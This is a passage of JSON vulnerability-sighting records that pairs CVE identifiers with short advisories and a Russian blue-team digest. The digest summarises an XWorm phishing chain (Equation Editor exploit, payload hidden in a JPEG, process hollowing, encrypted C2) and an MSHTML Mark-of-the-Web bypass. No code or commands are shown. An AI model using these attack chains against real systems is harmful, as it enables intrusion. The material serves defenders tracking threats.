"CVE-2026-21094 [HIGH] wpa_supplicant\n\nImproper input validation in wpa_supplicant prior to SMR Sep-2026 Release 1 allows adjacent attackers to write out-of-bounds memory.\n\nnvd.nist.gov/vuln/detail/CVE-2026-21094", "creation_timestamp": "2026-09-14T16:01:59.267342Z"}, {"uuid": "6d030cab-aac2-4976-82a6-4f92fa78132f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21513", "type": "seen", "source": "https://t.me/purp_sec/1420", "content": "\u0412\u0442\u043e\u0440\u043d\u0438\u043a \u2014 \u043f\u043e\u0440\u0430 \u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0441 \u043a\u043e\u043b\u043b\u0435\u0433\u0430\u043c\u0438 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u043c\u0438 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430\u043c\u0438 \u043f\u043e \u0431\u043e\u0440\u044c\u0431\u0435 \u0441 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0430\u043c\u0438 \u0438 \u0438\u0445 \u00ab\u0442\u0432\u043e\u0440\u0447\u0435\u0441\u0442\u0432\u043e\u043c\u00bb.\n\n\u0421\u043e\u0431\u0440\u0430\u043b \u0432\u0430\u043c \u043f\u0430\u0440\u0443 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u0438 \u043d\u043e\u0432\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043c\u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u043c\u0438.\n\n\ud83d\udd35 Deep Dive into New XWorm Campaign Utilizing Multiple-Themed Phishing Emails \u2014 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u043f\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e XWorm RAT. \u0416\u0435\u0440\u0442\u0432\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u0438\u0441\u044c\u043c\u043e \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c Excel-\u0444\u0430\u0439\u043b\u043e\u043c (.XLAM), \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f CVE-2018-0802 (RCE \u0432 Equation Editor). Shellcode \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 HTA \u0447\u0435\u0440\u0435\u0437 ShellExecuteExW, \u0434\u0430\u043b\u0435\u0435 PowerShell \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442 \u00ab\u0444\u043e\u0442\u043e\u00bb (JPEG), \u0433\u0434\u0435 \u043c\u0435\u0436\u0434\u0443 \u043c\u0430\u0440\u043a\u0435\u0440\u0430\u043c\u0438 BaseStart/BaseEnd \u0441\u043f\u0440\u044f\u0442\u0430\u043d base64-\u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 .NET-\u043c\u043e\u0434\u0443\u043b\u044c. \u041f\u043e\u0441\u043b\u0435 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f process hollowing (\u0432 Msbuild.exe), \u043c\u0430\u043b\u0432\u0430\u0440\u044c \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 C2-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 (AES-\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435) \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439.\n\n\ud83d\udd35 Inside the Fix \u2014 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2026-21513 (security feature bypass \u0432 MSHTML/IEFRAME), \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043f\u043b\u043e\u0442\u043d\u043e \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u044e\u0442 \u0441 APT28. \u0412\u0435\u043a\u0442\u043e\u0440 \u2014 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 .LNK-\u0444\u0430\u0439\u043b \u0441\u043e \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u043c HTML \u043f\u043e\u0441\u043b\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b LNK. \u0427\u0435\u0440\u0435\u0437 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435 iframe \u0438 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0438 DOM \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043e\u0431\u0445\u043e\u0434\u0438\u043b\u0438 Mark of the Web \u0438 Internet Explorer Enhanced Security Configuration (IE ESC), \u0447\u0442\u043e \u0432 \u0438\u0442\u043e\u0433\u0435 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043b\u043e \u043a \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 URL \u0438 \u0432\u044b\u0437\u043e\u0432\u0443 ShellExecuteExW \u0431\u0435\u0437 \u0434\u043e\u043b\u0436\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0430.\n\n\ud83d\udd35 Intel ME: Anatomy of a Ring -3 Backdoor \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u0431\u0437\u043e\u0440 Intel Management Engine (ME), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0430\u0432\u0442\u043e\u0440 \u043e\u0442\u043a\u0440\u044b\u0442\u043e \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u00ab\u0431\u044d\u043a\u0434\u043e\u0440\u043e\u043c\u00bb. \u042d\u043a\u0441\u043f\u0435\u0440\u0442 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442 ME \u043a\u0430\u043a \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u0443\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0441 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u043c \u0438 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0441\u0442\u0435\u043a\u043e\u043c, \u043e\u0431\u043b\u0430\u0434\u0430\u044e\u0449\u0443\u044e \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c. \u0412 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0435 \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0440\u0438\u0441\u043a\u0438 \u0438\u0437-\u0437\u0430 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0438 \u0430\u0443\u0434\u0438\u0442\u0430 ME \u0438 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0410\u0432\u0442\u043e\u0440 \u043f\u0440\u0438\u0437\u044b\u0432\u0430\u0435\u0442 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0442\u044c AMT \u043f\u0440\u0438 \u043d\u0435\u043d\u0430\u0434\u043e\u0431\u043d\u043e\u0441\u0442\u0438.\n\n\ud83d\udd35 GitLab Threat Intelligence Team reveals North Korean tradecraft \u2014 GitLab \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u043e \u0441\u0435\u0432\u0435\u0440\u043e\u043a\u043e\u0440\u0435\u0439\u0441\u043a\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435. \u0412 2025 \u0433\u043e\u0434\u0443 \u043f\u043e\u0434 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0443 \u043f\u043e\u043f\u0430\u043b 131 \u0430\u043a\u043a\u0430\u0443\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0432\u044f\u0437\u0430\u043b\u0438 \u0441 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 Lazarus \u0438 Contagious Interview. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043f\u043e\u0434 \u0440\u0435\u043a\u0440\u0443\u0442\u0435\u0440\u043e\u0432, \u043f\u0440\u0438\u0433\u043b\u0430\u0448\u0430\u044e\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u043d\u0430 \u00ab\u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u043e\u0431\u0435\u0441\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u00bb \u0438 \u0443\u0431\u0435\u0436\u0434\u0430\u044e\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0441 GitLab. \u0412 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0435 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u044b\u043b\u0438 \u043c\u0430\u043b\u0432\u0430\u0440\u0438 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430 BeaverTail \u0438 Ottercookie. \u041f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u043e \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043f\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044e \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0445 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0434\u043b\u044f \u0442\u0440\u0443\u0434\u043e\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0432 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.\n\n#blue_team #\u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0435", "creation_timestamp": "2026-09-14T18:00:06.808691Z"}, {"uuid": "ea27bb92-cb6b-4164-8612-1b2361783c28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21513", "type": "published-proof-of-concept", "source": "https://t.me/purp_sec/1420", "content": "\u0412\u0442\u043e\u0440\u043d\u0438\u043a \u2014 \u043f\u043e\u0440\u0430 \u0434\u0435\u043b\u0438\u0442\u044c\u0441\u044f \u0441 \u043a\u043e\u043b\u043b\u0435\u0433\u0430\u043c\u0438 \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u043c\u0438 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430\u043c\u0438 \u043f\u043e \u0431\u043e\u0440\u044c\u0431\u0435 \u0441 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0430\u043c\u0438 \u0438 \u0438\u0445 \u00ab\u0442\u0432\u043e\u0440\u0447\u0435\u0441\u0442\u0432\u043e\u043c\u00bb.\n\n\u0421\u043e\u0431\u0440\u0430\u043b \u0432\u0430\u043c \u043f\u0430\u0440\u0443 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u043e\u0432 \u0438 \u043d\u043e\u0432\u043e\u0441\u0442\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438\u0441\u044c \u043c\u043d\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u043c\u0438.\n\n\ud83d\udd35 Deep Dive into New XWorm Campaign Utilizing Multiple-Themed Phishing Emails \u2014 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 \u043f\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044e XWorm RAT. \u0416\u0435\u0440\u0442\u0432\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u0438\u0441\u044c\u043c\u043e \u0441 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u043c Excel-\u0444\u0430\u0439\u043b\u043e\u043c (.XLAM), \u0432\u043d\u0443\u0442\u0440\u0438 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f CVE-2018-0802 (RCE \u0432 Equation Editor). Shellcode \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 HTA \u0447\u0435\u0440\u0435\u0437 ShellExecuteExW, \u0434\u0430\u043b\u0435\u0435 PowerShell \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u0442 \u00ab\u0444\u043e\u0442\u043e\u00bb (JPEG), \u0433\u0434\u0435 \u043c\u0435\u0436\u0434\u0443 \u043c\u0430\u0440\u043a\u0435\u0440\u0430\u043c\u0438 BaseStart/BaseEnd \u0441\u043f\u0440\u044f\u0442\u0430\u043d base64-\u0437\u0430\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 .NET-\u043c\u043e\u0434\u0443\u043b\u044c. \u041f\u043e\u0441\u043b\u0435 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f process hollowing (\u0432 Msbuild.exe), \u043c\u0430\u043b\u0432\u0430\u0440\u044c \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 C2-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 (AES-\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435) \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439.\n\n\ud83d\udd35 Inside the Fix \u2014 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0437 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 CVE-2026-21513 (security feature bypass \u0432 MSHTML/IEFRAME), \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043f\u043b\u043e\u0442\u043d\u043e \u0441\u0432\u044f\u0437\u044b\u0432\u0430\u044e\u0442 \u0441 APT28. \u0412\u0435\u043a\u0442\u043e\u0440 \u2014 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 .LNK-\u0444\u0430\u0439\u043b \u0441\u043e \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u043c HTML \u043f\u043e\u0441\u043b\u0435 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b LNK. \u0427\u0435\u0440\u0435\u0437 \u0432\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0435 iframe \u0438 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u044f\u0446\u0438\u0438 DOM \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043e\u0431\u0445\u043e\u0434\u0438\u043b\u0438 Mark of the Web \u0438 Internet Explorer Enhanced Security Configuration (IE ESC), \u0447\u0442\u043e \u0432 \u0438\u0442\u043e\u0433\u0435 \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u043b\u043e \u043a \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 URL \u0438 \u0432\u044b\u0437\u043e\u0432\u0443 ShellExecuteExW \u0431\u0435\u0437 \u0434\u043e\u043b\u0436\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u043a\u043e\u043d\u0442\u0435\u043d\u0442\u0430.\n\n\ud83d\udd35 Intel ME: Anatomy of a Ring -3 Backdoor \u2014 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u0431\u0437\u043e\u0440 Intel Management Engine (ME), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0430\u0432\u0442\u043e\u0440 \u043e\u0442\u043a\u0440\u044b\u0442\u043e \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u00ab\u0431\u044d\u043a\u0434\u043e\u0440\u043e\u043c\u00bb. \u042d\u043a\u0441\u043f\u0435\u0440\u0442 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442 ME \u043a\u0430\u043a \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0430\u0441\u043d\u0443\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0441 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043e\u043c \u0438 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0441\u0442\u0435\u043a\u043e\u043c, \u043e\u0431\u043b\u0430\u0434\u0430\u044e\u0449\u0443\u044e \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c. \u0412 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0435 \u043f\u043e\u0434\u0447\u0435\u0440\u043a\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0440\u0438\u0441\u043a\u0438 \u0438\u0437-\u0437\u0430 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0438 \u0430\u0443\u0434\u0438\u0442\u0430 ME \u0438 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u0410\u0432\u0442\u043e\u0440 \u043f\u0440\u0438\u0437\u044b\u0432\u0430\u0435\u0442 \u0440\u0435\u0433\u0443\u043b\u044f\u0440\u043d\u043e \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0442\u044c AMT \u043f\u0440\u0438 \u043d\u0435\u043d\u0430\u0434\u043e\u0431\u043d\u043e\u0441\u0442\u0438.\n\n\ud83d\udd35 GitLab Threat Intelligence Team reveals North Korean tradecraft \u2014 GitLab \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u043e\u0442\u0447\u0435\u0442 \u043e \u0441\u0435\u0432\u0435\u0440\u043e\u043a\u043e\u0440\u0435\u0439\u0441\u043a\u043e\u0439 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u043d\u0430 \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435. \u0412 2025 \u0433\u043e\u0434\u0443 \u043f\u043e\u0434 \u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0443 \u043f\u043e\u043f\u0430\u043b 131 \u0430\u043a\u043a\u0430\u0443\u043d\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0432\u044f\u0437\u0430\u043b\u0438 \u0441 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438 Lazarus \u0438 Contagious Interview. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u0430\u0441\u043a\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u043f\u043e\u0434 \u0440\u0435\u043a\u0440\u0443\u0442\u0435\u0440\u043e\u0432, \u043f\u0440\u0438\u0433\u043b\u0430\u0448\u0430\u044e\u0442 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 \u043d\u0430 \u00ab\u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u043e\u0431\u0435\u0441\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u00bb \u0438 \u0443\u0431\u0435\u0436\u0434\u0430\u044e\u0442 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0441 GitLab. \u0412 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0435 \u0441\u043b\u0443\u0447\u0430\u0435\u0432 \u0432\u043d\u0443\u0442\u0440\u0438 \u0431\u044b\u043b\u0438 \u043c\u0430\u043b\u0432\u0430\u0440\u0438 \u0441\u0435\u043c\u0435\u0439\u0441\u0442\u0432\u0430 BeaverTail \u0438 Ottercookie. \u041f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u043e \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043f\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044e \u0444\u0435\u0439\u043a\u043e\u0432\u044b\u0445 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u0434\u043b\u044f \u0442\u0440\u0443\u0434\u043e\u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0432 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u0435 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.\n\n#blue_team #\u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0435", "creation_timestamp": "2026-09-15T00:00:11.160873Z"}, {"uuid": "66af53b9-ff68-40c5-8d1f-e9185af0e501", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21858", "type": "published-proof-of-concept", "source": "Telegram/dfvCKy19LdeRjtEqhcraGN2yMY0QlrZmHiFOXJRBkeySQpk", "content": "", "creation_timestamp": "2026-09-15T00:00:23.649233Z"}, {"uuid": "0aba95be-b0aa-475d-b61d-1a7bad4e374e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21852", "type": "published-proof-of-concept", "source": "Telegram/_lzdsLqQ7bGVpkz_qYAb1CGOr8QjF-qQV0vSyifZbJ3qZOY", "content": "", "creation_timestamp": "2026-09-15T00:00:29.656037Z"}, {"uuid": "a75398cb-e23a-4f11-88dd-26dddcf0d563", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-14)", "content": "", "creation_timestamp": "2026-09-15T10:15:10.229655Z"}, {"uuid": "6c5d90be-3fa4-49f7-b7c1-d1b4a7f3cde1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21391", "type": "seen", "source": "https://bsky.app/profile/cybersecinsight.bsky.social/post/3mvkk2qquwp2j", "content": "\ud83d\udd0d Vulnerability Spotlight | Part 2/3\n\n\u26a0\ufe0f CVE-2026-21391\n\nAn improper validation vulnerability exists within PingAM where a well-crafted request allows arbitrary or protected ID Token claims to be set or o...", "creation_timestamp": "2026-09-15T11:39:39.033167Z"}, {"uuid": "a919d5c1-d208-4a6b-96cc-8dd4781d7c08", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21586", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3mvl4vnbals2p", "content": "CVE-2026-21586: Atlassian has disclosed a high-severity improper authorization flaw (CVSS 7.1) in Confluence Data Center that lets an authenticated attacker reach unintended resources or functionality. Atlassian recommends upgrading to a fixed release.", "creation_timestamp": "2026-09-15T17:16:49.061694Z"}, {"uuid": "628e1fd6-7881-4b6e-94c3-fa93cc82da34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21587", "type": "seen", "source": "https://bsky.app/profile/suriq.io/post/3mvl4xmx3vb2g", "content": "CVE-2026-21587: Atlassian disclosed a high-severity improper authorization flaw (CVSS 7.1) in Jira Service Management Data Center 11.3.0 through 11.3.10, letting an authenticated attacker gain unintended access. Fixed in 11.3.11. No exploitation is confirmed.", "creation_timestamp": "2026-09-15T17:17:55.227875Z"}, {"uuid": 